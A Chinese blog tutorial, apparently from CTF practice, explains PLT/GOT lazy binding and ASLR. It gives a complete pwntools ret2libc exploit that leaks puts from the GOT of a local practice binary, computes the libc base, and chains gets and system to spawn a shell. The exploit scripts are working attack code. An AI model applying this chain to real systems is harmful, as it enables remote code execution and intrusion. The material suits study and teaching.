zoukankan      html  css  js  c++  java
  • Pwn_7 ROP (2)

    • 如果不是静态编译,通常不会有int 0x80。意思就是,没有int 0x80 构造的堆栈再好,也无法运行
    • 动态编译会载入整个shared library
    • stack overflow时可以直接构造function调用函数

    有了函数地址,就可以直接拿来调用

    Address = base + offset

    在ASLR(Address Space Layout Randomization)中,每一次的基地址都会改变。每一个程序必然都会用到libc库中的函数 比如说main 函数,就要用到libc中的start_main()函数

    有了这个函数地址,libc中的偏移地址是固定的,一个函数的实际地址也可以知道,

    base addr = address –offset

    Lazy Binding 延迟绑定

    ELF采用了延迟绑定:函数第一次被调用的时候才绑定,如果没有用到则不进行绑定

    PLT

    image80483c0就是plt的地址

     

     

    GOT表(Global offset table)

    全局偏移表

    ELF将GOT表拆成两个表:.got 和 .got.plt

    • .got保存全局变量的地址
    • .got.plt保存函数引用地址

    如果一个程序中使用到了某一个函数,那么一定会对应的有plt地址和.got.plt地址

    image

    0x804a010这个地址对应的值 就是实际地址,只要把这个地址的值打印出来就可以得到了实际地址

    Call Library Function

    gets() #函数地址

    pop1_ret #执行完gets()函数的返回地址,比如pop eax pop ebx..把参数弹出栈

    <buf>  #参数

    system()

    xxx

    <buf>

     

    再比如说 read函数

    read函数地址

    pop3_ret

    第一个变量

    第二个变量

    第三个变量

    system()

    xxx

    <buf>


    Practice 6 ret2lib

    image_libc_start_main这个函数一定会用到

    .got.plt=0x804a024

    写了一段脚本

    exp_3.py

    from pwn import *

    r = remote('127.0.0.1',4000)

    puts_got_plt = 0x804a01c

    r.recvuntil(':')

    r.sendline(str(puts_got_plt))

    r.interactive()

    image执行结果

    找puts函数在libc库中的offset

    ldd ./ret2lib #查看调用了那些库 以及路径

    root@danny-virtual-machine:/home/danny/Desktop/pwn# ldd ./ret2lib
         linux-gate.so.1 =>  (0xf7f7c000)
         libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da7000)
         /lib/ld-linux.so.2 (0xf7f7e000)

    root@danny-virtual-machine:/home/danny/Desktop/pwn# readelf -a /lib/i386-linux-gnu/libc.so.6 | grep puts@
        205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
      这个就偏移地址 434: 0005fca0   464 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0
       1182: 0005e720   349 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.0
       1736: 0005e720   349 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2.0

    如何判断找到的实际地址是正确的?

    实际地址与偏移地址的后3位是相同的,即后1.5个bit,如果找不到这个地址,就可以考虑爆破了

    最终的exp_3.py

    from pwn import *
    r = remote('127.0.0.1',4000)

    puts_got_plt = 0x804a01c

    put_off = 0x0005fca0

    r.recvuntil(':')

    r.sendline(str(puts_got_plt))

    r.recvuntil(':')

    libc_base = int(r.recvuntil(' ').strip(),16) - put_off

    print (hex(libc_base))

    #raw_input('#')
    gets_off = 0x05f3e0
    system_off = 0x003ada0
    gets = libc_base + gets_off
    system = libc_base + system_off
    buf = 0x0804b000 - 30

    rop = [
         gets,
         system,
         buf,
         buf
    ]
    r.recvuntil(':')
    r.sendline('a'*60 + flat(rop))

    sleep(2)
    r.sendline('/bin/shx00')
    r.interactive()


     总结:

    1. 找到某一个函数的.got.plt地址所对应的实际地址的值
    2. 查找该函数的offset 由实际地址-偏移地址获得libc_base地址
    3. 构造rop

    gets()  #函数地址 libc_base + offset    # ldd ./file   获得库路径   #readelf -a 库路径 | grep func@

    system() #函数地址 libc_base + offset

    buf  #寻找可写区域   ./file &得到proc id 然后 cat /proc/func id/maps

    buf

  • 相关阅读:
    多表联合查询,利用 concat 模糊搜索
    order by 中利用 case when 排序
    Quartz.NET 3.0.7 + MySql 动态调度作业+动态切换版本+多作业引用同一程序集不同版本+持久化+集群(一)
    ASP.NET Core 2.2 基础知识(十八) 托管和部署 概述
    ASP.NET Core 2.2 基础知识(十七) SignalR 一个极其简陋的聊天室
    ASP.NET Core 2.2 基础知识(十六) SignalR 概述
    ASP.NET Core 2.2 基础知识(十五) Swagger
    ASP.NET Core 2.2 基础知识(十四) WebAPI Action返回类型(未完待续)
    linux磁盘管理 磁盘查看操作
    linux磁盘管理 文件挂载
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/8503493.html
Copyright © 2011-2022 走看看